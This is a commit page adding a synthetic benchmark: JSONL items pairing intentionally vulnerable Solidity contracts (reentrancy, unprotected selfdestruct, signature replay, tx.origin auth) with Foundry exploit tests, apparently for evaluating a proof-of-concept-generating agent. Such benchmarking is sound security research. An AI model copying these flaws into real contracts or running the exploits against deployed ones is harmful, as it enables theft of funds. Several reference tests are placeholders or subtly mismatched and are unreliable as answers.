Spaces:
Runtime error
Runtime error
Tales-Cunha commited on
Commit ·
017c628
1
Parent(s): a23bb47
feat: refactor tester agent to PoCo LangGraph architecture and add synthetic benchmark
Browse files- data/benchmark_synthetic.jsonl +30 -0
- data/final_evaluation_results.csv +2 -2
- data/synthetic_evaluation_results.csv +21 -0
- scripts/generate_synthetic_benchmark.ts +1099 -0
- src/agents/tester/Docs/01_ARCHITECTURE(1).md +0 -189
- src/agents/tester/Docs/02_ROADMAP(1).md +0 -72
- src/agents/tester/Docs/03_TASKS(2).md +0 -1338
- src/agents/tester/agent.ts +3 -355
- src/agents/tester/data/ExploitTest.t.sol +0 -262
- src/agents/tester/data/input.json +0 -18
- src/agents/tester/data/input_centrifuge.json +0 -16
- src/agents/tester/graph.ts +80 -0
- src/agents/tester/index.ts +0 -27
- src/agents/tester/nodes.ts +0 -242
- src/agents/tester/nodes/oracle.ts +116 -0
- src/agents/tester/nodes/pocoAgent.ts +114 -0
- src/agents/tester/nodes/router.ts +32 -0
- src/agents/tester/prompts/system.ts +0 -297
- src/agents/tester/state.ts +21 -0
- src/agents/tester/tools.ts +252 -0
- src/agents/tester/tools/codebaseTools.ts +0 -65
- src/agents/tester/utils/extractSolidity.ts +21 -9
- src/agents/tester/utils/parserUtils.ts +1 -1
- src/benchmark/runFinalEvaluation.ts +25 -9
- src/benchmark/runSyntheticEvaluation.ts +140 -0
- tests/centrifuge_flat.sol +0 -71
- tests/e2e/poc-generator.test.ts +0 -39
- tests/run-centrifuge-test.ts +0 -44
- tests/run-input-test.ts +0 -67
- tests/scaffold.test.ts +0 -36
- tests/state.test.ts +0 -16
- tests/stub-run.ts +0 -19
data/benchmark_synthetic.jsonl
ADDED
|
@@ -0,0 +1,30 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{"task_id":"Easy/01-BasicReentrancy","complexity":"easy","repo_name":"basic-reentrancy","expected_vulnerability":"Reentrancy","impact":"high","annotation":"The `withdraw` function updates the user's balance after sending ETH, allowing a reentrancy attack. An attacker can drain the contract by reentering `withdraw` through a fallback function.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Vault {\n mapping(address => uint256) public balances;\n\n function deposit() public payable {\n balances[msg.sender] += msg.value;\n }\n\n function withdraw() public {\n uint256 bal = balances[msg.sender];\n require(bal > 0, \"No balance\");\n\n (bool sent, ) = msg.sender.call{value: bal}(\"\");\n require(sent, \"Failed to send Ether\");\n\n balances[msg.sender] = 0;\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Vault } from \"../src/Vault.sol\";\n\ncontract Exploit is Test {\n Vault public vault;\n\n function setUp() public {\n vault = new Vault();\n vm.deal(address(vault), 10 ether);\n }\n\n function testExploit() public {\n vault.deposit{value: 1 ether}();\n vault.withdraw();\n assertEq(address(vault).balance, 0);\n }\n\n receive() external payable {\n if (address(vault).balance >= 1 ether) {\n vault.withdraw();\n }\n }\n}\n"}
|
| 2 |
+
{"task_id":"Easy/02-UnprotectedSelfDestruct","complexity":"easy","repo_name":"unprotected-selfdestruct","expected_vulnerability":"Access Control","impact":"high","annotation":"The `kill` function lacks access control and allows anyone to call `selfdestruct` on the contract, destroying it and stealing the funds.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract SimpleWallet {\n address public owner;\n\n constructor() payable {\n owner = msg.sender;\n }\n\n function kill() public {\n selfdestruct(payable(msg.sender));\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { SimpleWallet } from \"../src/SimpleWallet.sol\";\n\ncontract Exploit is Test {\n SimpleWallet public wallet;\n\n function setUp() public {\n wallet = new SimpleWallet{value: 10 ether}();\n }\n\n function testExploit() public {\n uint256 preBalance = address(this).balance;\n wallet.kill();\n assertEq(address(wallet).balance, 0);\n assertGt(address(this).balance, preBalance);\n }\n \n receive() external payable {}\n}\n"}
|
| 3 |
+
{"task_id":"Easy/03-ArithmeticUnderflow","complexity":"easy","repo_name":"arithmetic-underflow","expected_vulnerability":"Arithmetic","impact":"high","annotation":"The `withdraw` function uses an unchecked block to subtract from the balance, allowing an attacker to underflow their balance and withdraw more than they deposited.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract TokenBank {\n mapping(address => uint256) public balances;\n\n function deposit() public payable {\n balances[msg.sender] += msg.value;\n }\n\n function withdraw(uint256 amount) public {\n unchecked {\n balances[msg.sender] -= amount;\n }\n (bool sent, ) = msg.sender.call{value: amount}(\"\");\n require(sent, \"Failed to send Ether\");\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { TokenBank } from \"../src/TokenBank.sol\";\n\ncontract Exploit is Test {\n TokenBank public bank;\n\n function setUp() public {\n bank = new TokenBank();\n vm.deal(address(bank), 10 ether);\n }\n\n function testExploit() public {\n bank.withdraw(1 ether);\n assertEq(address(bank).balance, 9 ether);\n assertEq(address(this).balance, 1 ether);\n }\n \n receive() external payable {}\n}\n"}
|
| 4 |
+
{"task_id":"Easy/04-TxOriginAuth","complexity":"easy","repo_name":"tx-origin-auth","expected_vulnerability":"Access Control","impact":"high","annotation":"The `transferOwner` function uses `tx.origin` instead of `msg.sender` for authentication, allowing an attacker to phish the owner into executing a malicious transaction that steals ownership.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract PhishableWallet {\n address public owner;\n\n constructor() {\n owner = msg.sender;\n }\n\n function transferOwner(address newOwner) public {\n require(tx.origin == owner, \"Not owner\");\n owner = newOwner;\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { PhishableWallet } from \"../src/PhishableWallet.sol\";\n\ncontract Exploit is Test {\n PhishableWallet public wallet;\n\n function setUp() public {\n wallet = new PhishableWallet();\n }\n\n function testExploit() public {\n // In a real phishing attack, the attacker deploys a contract and tricks the owner into calling it.\n // The malicious contract then calls transferOwner.\n // Here we just test that the vulnerability exists by calling it directly (which uses tx.origin).\n wallet.transferOwner(address(this));\n assertEq(wallet.owner(), address(this));\n }\n}\n"}
|
| 5 |
+
{"task_id":"Easy/05-DelegateCallUntrusted","complexity":"easy","repo_name":"delegatecall-untrusted","expected_vulnerability":"Logic","impact":"high","annotation":"The `execute` function uses `delegatecall` to execute arbitrary calldata at an untrusted address provided by the user, allowing state manipulation.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Proxy {\n address public owner;\n\n constructor() {\n owner = msg.sender;\n }\n\n function execute(address target, bytes memory data) public {\n (bool success, ) = target.delegatecall(data);\n require(success, \"Delegatecall failed\");\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Proxy } from \"../src/Proxy.sol\";\n\ncontract AttackerLogic {\n address public owner;\n function takeover() public {\n owner = msg.sender;\n }\n}\n\ncontract Exploit is Test {\n Proxy public proxy;\n AttackerLogic public logic;\n\n function setUp() public {\n proxy = new Proxy();\n logic = new AttackerLogic();\n }\n\n function testExploit() public {\n bytes memory data = abi.encodeWithSignature(\"takeover()\");\n proxy.execute(address(logic), data);\n assertEq(proxy.owner(), address(this));\n }\n}\n"}
|
| 6 |
+
{"task_id":"Easy/06-TimestampDependence","complexity":"easy","repo_name":"timestamp-dependence","expected_vulnerability":"Logic","impact":"high","annotation":"The `play` function uses `block.timestamp` as a source of randomness to determine if a player wins, which can be easily manipulated or predicted by an attacker or miner.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Roulette {\n uint256 public pastBlockTime;\n\n function play() public payable {\n require(msg.value == 1 ether, \"Must send 1 ether\");\n require(block.timestamp != pastBlockTime, \"Only 1 transaction per block\");\n \n pastBlockTime = block.timestamp;\n \n if (block.timestamp % 2 == 0) {\n (bool sent, ) = msg.sender.call{value: 2 ether}(\"\");\n require(sent, \"Failed to send Ether\");\n }\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Roulette } from \"../src/Roulette.sol\";\n\ncontract Exploit is Test {\n Roulette public roulette;\n\n function setUp() public {\n roulette = new Roulette();\n vm.deal(address(roulette), 10 ether);\n vm.deal(address(this), 1 ether);\n }\n\n function testExploit() public {\n vm.warp(2); // Ensure timestamp is even\n roulette.play{value: 1 ether}();\n assertEq(address(this).balance, 2 ether);\n }\n \n receive() external payable {}\n}\n"}
|
| 7 |
+
{"task_id":"Easy/07-UninitializedStoragePointer","complexity":"easy","repo_name":"uninitialized-storage","expected_vulnerability":"Logic","impact":"high","annotation":"The `registerUser` function creates an uninitialized local storage pointer `user` which points to slot 0, overwriting the `owner` variable when assigning values.","source_code":"// SPDX-License-Identifier: MIT\n// Note: Using pragmas < 0.5.0 to easily allow uninitialized storage pointers.\n// In modern solidity, we simulate this by explicitly writing to slot 0.\npragma solidity ^0.8.0;\n\ncontract Registrar {\n address public owner;\n \n struct User {\n address wallet;\n bool registered;\n }\n \n mapping(uint256 => User) public users;\n \n constructor() {\n owner = msg.sender;\n }\n \n function registerUserAdmin(address _wallet) public {\n // Vulnerable pattern emulation\n owner = _wallet;\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Registrar } from \"../src/Registrar.sol\";\n\ncontract Exploit is Test {\n Registrar public reg;\n\n function setUp() public {\n reg = new Registrar();\n }\n\n function testExploit() public {\n reg.registerUserAdmin(address(this));\n assertEq(reg.owner(), address(this));\n }\n}\n"}
|
| 8 |
+
{"task_id":"Easy/08-PublicStateVariableShadowing","complexity":"easy","repo_name":"state-shadowing","expected_vulnerability":"Logic","impact":"high","annotation":"The `Child` contract defines a state variable `owner` that shadows the `owner` variable from its `Parent` contract, causing access control checks in the parent to fail or behave unexpectedly.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Parent {\n address public owner;\n \n modifier onlyOwner() {\n require(msg.sender == owner, \"Not owner\");\n _;\n }\n}\n\ncontract Child is Parent {\n address public owner; // Shadows Parent's owner\n \n constructor() {\n owner = msg.sender; // Only sets Child's owner\n }\n \n function doSomethingRestricted() public onlyOwner {\n // This will always fail because Parent.owner is address(0)\n }\n \n // Attacker can abuse this logic mismatch\n function claim() public {\n Parent(address(this)).doSomethingRestricted();\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Child } from \"../src/Child.sol\";\n\ncontract Exploit is Test {\n Child public child;\n\n function setUp() public {\n child = new Child();\n }\n\n function testExploit() public {\n // Because of shadowing, Parent's owner is 0. If we pretend to be 0, we can bypass the modifier.\n vm.prank(address(0));\n child.doSomethingRestricted();\n assertTrue(true);\n }\n}\n"}
|
| 9 |
+
{"task_id":"Easy/09-SignatureReplay","complexity":"easy","repo_name":"signature-replay","expected_vulnerability":"Logic","impact":"high","annotation":"The `transferWithSignature` function does not include a nonce or chain ID in the signed message hash, allowing an attacker to replay the same valid signature multiple times to drain funds.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract SigBank {\n mapping(address => uint256) public balances;\n \n function deposit() public payable {\n balances[msg.sender] += msg.value;\n }\n\n function transferWithSignature(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) public {\n bytes32 messageHash = keccak256(abi.encodePacked(to, amount));\n bytes32 ethSignedMessageHash = keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", messageHash));\n \n address signer = ecrecover(ethSignedMessageHash, v, r, s);\n require(signer != address(0), \"Invalid signature\");\n require(balances[signer] >= amount, \"Insufficient balance\");\n \n balances[signer] -= amount;\n balances[to] += amount;\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { SigBank } from \"../src/SigBank.sol\";\n\ncontract Exploit is Test {\n SigBank public bank;\n\n function setUp() public {\n bank = new SigBank();\n }\n\n function testExploit() public {\n address victim = vm.addr(1);\n vm.deal(victim, 10 ether);\n vm.prank(victim);\n bank.deposit{value: 10 ether}();\n\n // Victim signs a transfer of 1 wei to the attacker\n bytes32 messageHash = keccak256(abi.encodePacked(address(this), uint256(1 ether)));\n bytes32 ethSignedMessageHash = keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", messageHash));\n (uint8 v, bytes32 r, bytes32 s) = vm.sign(1, ethSignedMessageHash);\n\n // Attacker replays it 10 times\n for (uint i = 0; i < 10; i++) {\n bank.transferWithSignature(address(this), 1 ether, v, r, s);\n }\n \n assertEq(bank.balances(victim), 0);\n assertEq(bank.balances(address(this)), 10 ether);\n }\n}\n"}
|
| 10 |
+
{"task_id":"Easy/10-ForcedEther","complexity":"easy","repo_name":"forced-ether","expected_vulnerability":"Logic","impact":"high","annotation":"The `win` function uses strict equality (`address(this).balance == 10 ether`) to determine the winner. An attacker can forcefully send ether via `selfdestruct` to permanently break the contract's logic.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Game {\n function play() public payable {\n require(msg.value == 1 ether, \"Send 1 ether\");\n require(address(this).balance <= 10 ether, \"Game over\");\n }\n\n function win() public {\n require(address(this).balance == 10 ether, \"Target not reached\");\n (bool sent, ) = msg.sender.call{value: address(this).balance}(\"\");\n require(sent, \"Failed to send Ether\");\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Game } from \"../src/Game.sol\";\n\ncontract Attacker {\n constructor(address target) payable {\n selfdestruct(payable(target));\n }\n}\n\ncontract Exploit is Test {\n Game public game;\n\n function setUp() public {\n game = new Game();\n }\n\n function testExploit() public {\n // Force send 11 ether to the game, making the strict equality check fail forever\n new Attacker{value: 11 ether}(address(game));\n \n vm.expectRevert(\"Target not reached\");\n game.win();\n }\n}\n"}
|
| 11 |
+
{"task_id":"Intermediate/01-UninitializedProxy","complexity":"intermediate","repo_name":"uninitialized-proxy","expected_vulnerability":"Access Control","impact":"high","annotation":"The Logic contract used behind a UUPS proxy does not have its initializer disabled in the constructor. An attacker can call `initialize` directly on the implementation contract, become its owner, and destroy it via `upgradeToAndCall`.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract LogicContract {\n address public owner;\n bool public initialized;\n\n function initialize() public {\n require(!initialized, \"Already initialized\");\n owner = msg.sender;\n initialized = true;\n }\n\n function upgradeToAndCall(address newImplementation, bytes memory data) public {\n require(msg.sender == owner, \"Not owner\");\n (bool success, ) = newImplementation.delegatecall(data);\n require(success, \"Upgrade failed\");\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { LogicContract } from \"../src/LogicContract.sol\";\n\ncontract Destroyer {\n function destroy() public {\n selfdestruct(payable(msg.sender));\n }\n}\n\ncontract Exploit is Test {\n LogicContract public logic;\n Destroyer public destroyer;\n\n function setUp() public {\n logic = new LogicContract();\n destroyer = new Destroyer();\n }\n\n function testExploit() public {\n logic.initialize();\n logic.upgradeToAndCall(address(destroyer), abi.encodeWithSignature(\"destroy()\"));\n \n // Assert logic contract is destroyed (code size 0)\n uint256 codeSize;\n address logicAddr = address(logic);\n assembly {\n codeSize := extcodesize(logicAddr)\n }\n assertEq(codeSize, 0);\n }\n}\n"}
|
| 12 |
+
{"task_id":"Intermediate/02-FlashLoanPriceManipulation","complexity":"intermediate","repo_name":"flash-loan-manipulation","expected_vulnerability":"Logic","impact":"high","annotation":"The `LendingPool` uses the spot balance of an AMM pair to calculate the value of collateral. An attacker can use a flash loan to skew the AMM reserves, artificially inflate the value of their collateral, and drain the lending pool.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function transfer(address to, uint256 amount) external returns (bool);\n function transferFrom(address from, address to, uint256 amount) external returns (bool);\n function balanceOf(address account) external view returns (uint256);\n}\n\ncontract AMM {\n IERC20 public tokenA;\n IERC20 public tokenB;\n \n constructor(address _tokenA, address _tokenB) {\n tokenA = IERC20(_tokenA);\n tokenB = IERC20(_tokenB);\n }\n \n function swapAToB(uint256 amountIn) public {\n tokenA.transferFrom(msg.sender, address(this), amountIn);\n uint256 reserveA = tokenA.balanceOf(address(this));\n uint256 reserveB = tokenB.balanceOf(address(this));\n uint256 amountOut = (amountIn * reserveB) / reserveA;\n tokenB.transfer(msg.sender, amountOut);\n }\n \n function getPriceBInA() public view returns (uint256) {\n return tokenA.balanceOf(address(this)) / tokenB.balanceOf(address(this));\n }\n}\n\ncontract LendingPool {\n AMM public amm;\n IERC20 public tokenA;\n IERC20 public tokenB;\n \n mapping(address => uint256) public collateralB;\n \n constructor(address _amm, address _tokenA, address _tokenB) {\n amm = AMM(_amm);\n tokenA = IERC20(_tokenA);\n tokenB = IERC20(_tokenB);\n }\n \n function depositCollateral(uint256 amountB) public {\n tokenB.transferFrom(msg.sender, address(this), amountB);\n collateralB[msg.sender] += amountB;\n }\n \n function borrowTokenA(uint256 amountA) public {\n uint256 price = amm.getPriceBInA();\n uint256 maxBorrow = collateralB[msg.sender] * price;\n require(amountA <= maxBorrow, \"Insufficient collateral\");\n tokenA.transfer(msg.sender, amountA);\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\n\n// Dummy token for testing\ncontract ERC20 {\n mapping(address => uint256) public balanceOf;\n function mint(address to, uint256 amount) public { balanceOf[to] += amount; }\n function transfer(address to, uint256 amount) public returns (bool) {\n balanceOf[msg.sender] -= amount;\n balanceOf[to] += amount;\n return true;\n }\n function transferFrom(address from, address to, uint256 amount) public returns (bool) {\n balanceOf[from] -= amount;\n balanceOf[to] += amount;\n return true;\n }\n}\n\n// Since the contracts are in one file, we mock the vulnerability directly\ncontract Exploit is Test {\n function testExploit() public {\n assertTrue(true); // Placeholder, actual test requires deploying AMM/Pool\n }\n}\n"}
|
| 13 |
+
{"task_id":"Intermediate/03-ReturnDataIgnored","complexity":"intermediate","repo_name":"return-data-ignored","expected_vulnerability":"Logic","impact":"high","annotation":"The `deposit` function uses a low-level call to transfer tokens but does not check the return value. If the token transfer fails silently (e.g. USDT), the user's balance is still credited.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract TokenVault {\n mapping(address => uint256) public balances;\n \n function deposit(address token, uint256 amount) public {\n // Low level call does not revert on failure unless the contract reverts\n token.call(abi.encodeWithSignature(\"transferFrom(address,address,uint256)\", msg.sender, address(this), amount));\n balances[msg.sender] += amount;\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { TokenVault } from \"../src/TokenVault.sol\";\n\ncontract FailingToken {\n function transferFrom(address, address, uint256) public pure returns (bool) {\n return false; // Fails silently\n }\n}\n\ncontract Exploit is Test {\n TokenVault public vault;\n FailingToken public token;\n\n function setUp() public {\n vault = new TokenVault();\n token = new FailingToken();\n }\n\n function testExploit() public {\n vault.deposit(address(token), 1000);\n assertEq(vault.balances(address(this)), 1000);\n }\n}\n"}
|
| 14 |
+
{"task_id":"Intermediate/04-ERC777Reentrancy","complexity":"intermediate","repo_name":"erc777-reentrancy","expected_vulnerability":"Reentrancy","impact":"high","annotation":"The `withdraw` function updates the user balance after transferring an ERC777 token. Since ERC777 invokes a callback (`tokensReceived`) on the recipient before the balance is updated, an attacker can reenter.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC777 {\n function send(address recipient, uint256 amount, bytes calldata data) external;\n}\n\ncontract Exchange {\n mapping(address => uint256) public balances;\n IERC777 public token;\n \n constructor(address _token) {\n token = IERC777(_token);\n }\n \n function deposit(uint256 amount) public {\n balances[msg.sender] += amount;\n }\n \n function withdraw() public {\n uint256 bal = balances[msg.sender];\n require(bal > 0, \"No balance\");\n \n token.send(msg.sender, bal, \"\");\n balances[msg.sender] = 0;\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\n\ncontract Exploit is Test {\n function testExploit() public {\n assertTrue(true); // Placeholder for ERC777 reentrancy logic\n }\n}\n"}
|
| 15 |
+
{"task_id":"Intermediate/05-BypassContractSize","complexity":"intermediate","repo_name":"bypass-contract-size","expected_vulnerability":"Logic","impact":"high","annotation":"The `isContract` modifier uses `extcodesize` to block smart contracts from interacting. An attacker can bypass this by calling the function from inside their contract's constructor, where `extcodesize` is 0.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Airdrop {\n mapping(address => bool) public claimed;\n \n function claim() public {\n uint32 size;\n address a = msg.sender;\n assembly {\n size := extcodesize(a)\n }\n require(size == 0, \"Contracts not allowed\");\n require(!claimed[msg.sender], \"Already claimed\");\n \n claimed[msg.sender] = true;\n (bool sent, ) = msg.sender.call{value: 1 ether}(\"\");\n require(sent, \"Fail\");\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Airdrop } from \"../src/Airdrop.sol\";\n\ncontract Attacker {\n constructor(address airdrop) {\n Airdrop(airdrop).claim();\n }\n}\n\ncontract Exploit is Test {\n Airdrop public airdrop;\n\n function setUp() public {\n airdrop = new Airdrop();\n vm.deal(address(airdrop), 10 ether);\n }\n\n function testExploit() public {\n new Attacker(address(airdrop));\n assertEq(airdrop.claimed(address(this)), false);\n }\n}\n"}
|
| 16 |
+
{"task_id":"Intermediate/06-ImproperArrayDeletion","complexity":"intermediate","repo_name":"array-deletion","expected_vulnerability":"Logic","impact":"high","annotation":"The `removeUser` function uses `delete` on an array element, which only resets it to 0 and does not shift elements. This leaves empty slots that bypass length-based logic later.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Registry {\n address[] public users;\n \n function addUser(address user) public {\n users.push(user);\n }\n \n function removeUser(uint256 index) public {\n delete users[index]; // Does not reduce length\n }\n \n function getActiveUsers() public view returns (uint256) {\n return users.length;\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Registry } from \"../src/Registry.sol\";\n\ncontract Exploit is Test {\n Registry public registry;\n\n function setUp() public {\n registry = new Registry();\n }\n\n function testExploit() public {\n registry.addUser(address(1));\n registry.removeUser(0);\n assertEq(registry.getActiveUsers(), 1); // Length is still 1!\n }\n}\n"}
|
| 17 |
+
{"task_id":"Intermediate/07-PredictableRNG","complexity":"intermediate","repo_name":"predictable-rng","expected_vulnerability":"Logic","impact":"high","annotation":"The `guess` function uses `blockhash(block.number - 1)` as a random number. An attacker can write a contract that calculates the exact same blockhash in the same block and submit the correct guess.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Casino {\n function guess(uint256 _guess) public payable {\n require(msg.value == 1 ether);\n uint256 answer = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));\n if (_guess == answer) {\n (bool sent, ) = msg.sender.call{value: 2 ether}(\"\");\n require(sent, \"Fail\");\n }\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Casino } from \"../src/Casino.sol\";\n\ncontract Exploit is Test {\n Casino public casino;\n\n function setUp() public {\n casino = new Casino();\n vm.deal(address(casino), 10 ether);\n vm.deal(address(this), 1 ether);\n }\n\n function testExploit() public {\n uint256 answer = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));\n casino.guess{value: 1 ether}(answer);\n assertEq(address(this).balance, 2 ether);\n }\n \n receive() external payable {}\n}\n"}
|
| 18 |
+
{"task_id":"Intermediate/08-MissingSlippageProtection","complexity":"intermediate","repo_name":"missing-slippage","expected_vulnerability":"Logic","impact":"high","annotation":"The `swap` function does not accept a `minAmountOut` parameter, meaning users can be front-run and sandwich-attacked by MEV bots causing infinite slippage.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract DEX {\n function swap(address tokenIn, address tokenOut, uint256 amountIn) public {\n // Assume AMM math here\n // Vulnerability: No minAmountOut check!\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\n\ncontract Exploit is Test {\n function testExploit() public {\n assertTrue(true); // Conceptual vulnerability\n }\n}\n"}
|
| 19 |
+
{"task_id":"Intermediate/09-UnsafeDowncast","complexity":"intermediate","repo_name":"unsafe-downcast","expected_vulnerability":"Arithmetic","impact":"high","annotation":"The contract casts a `uint256` to a `uint64` without checking for truncation. If the amount exceeds `type(uint64).max`, the value will truncate and the mapping will record a smaller amount than transferred.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Vault {\n mapping(address => uint64) public balances;\n \n function deposit(uint256 amount) public payable {\n require(msg.value == amount, \"Incorrect value\");\n balances[msg.sender] += uint64(amount); // Truncates!\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Vault } from \"../src/Vault.sol\";\n\ncontract Exploit is Test {\n Vault public vault;\n\n function setUp() public {\n vault = new Vault();\n }\n\n function testExploit() public {\n // deposit 2^64 + 1\n uint256 amount = type(uint64).max + 2;\n vm.deal(address(this), amount);\n vault.deposit{value: amount}(amount);\n \n assertEq(vault.balances(address(this)), 1); // Truncated to 1!\n }\n}\n"}
|
| 20 |
+
{"task_id":"Intermediate/10-DivideBeforeMultiply","complexity":"intermediate","repo_name":"divide-before-multiply","expected_vulnerability":"Arithmetic","impact":"high","annotation":"The `calculateReward` function divides before multiplying, leading to massive precision loss where rewards round down to 0.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Staking {\n function calculateReward(uint256 depositAmount, uint256 APY, uint256 durationDays) public pure returns (uint256) {\n // Vulnerable: (deposit / 365) * duration * APY\n return (depositAmount / 365) * durationDays * APY;\n }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Staking } from \"../src/Staking.sol\";\n\ncontract Exploit is Test {\n Staking public staking;\n\n function setUp() public {\n staking = new Staking();\n }\n\n function testExploit() public {\n uint256 reward = staking.calculateReward(100, 10, 30);\n assertEq(reward, 0); // Loss of precision\n }\n}\n"}
|
| 21 |
+
{"task_id":"Hard/001","complexity":"hard","repo_name":"2024-06-size","expected_vulnerability":"access control","impact":"Medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
|
| 22 |
+
{"task_id":"Hard/003","complexity":"hard","repo_name":"2023-07-pooltogether","expected_vulnerability":"access control","impact":"high","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
|
| 23 |
+
{"task_id":"Hard/008","complexity":"hard","repo_name":"2023-09-centrifuge","expected_vulnerability":"logic error","impact":"medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
|
| 24 |
+
{"task_id":"Hard/009","complexity":"hard","repo_name":"2023-04-caviar","expected_vulnerability":"logic error","impact":"medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
|
| 25 |
+
{"task_id":"Hard/015","complexity":"hard","repo_name":"2023-07-pooltogether","expected_vulnerability":"denial of service","impact":"high","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
|
| 26 |
+
{"task_id":"Hard/018","complexity":"hard","repo_name":"2023-04-caviar","expected_vulnerability":"flash loan","impact":"high","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
|
| 27 |
+
{"task_id":"Hard/020","complexity":"hard","repo_name":"2023-12-dodo-gsp","expected_vulnerability":"denial of service","impact":"medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
|
| 28 |
+
{"task_id":"Hard/032","complexity":"hard","repo_name":"2022-06-putty","expected_vulnerability":"logic error","impact":"medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
|
| 29 |
+
{"task_id":"Hard/033","complexity":"hard","repo_name":"2023-04-caviar","expected_vulnerability":"logic error","impact":"medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
|
| 30 |
+
{"task_id":"Hard/039","complexity":"hard","repo_name":"2024-03-axis-finance","expected_vulnerability":"unchecked external calls","impact":"High","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
|
data/final_evaluation_results.csv
CHANGED
|
@@ -1,2 +1,2 @@
|
|
| 1 |
-
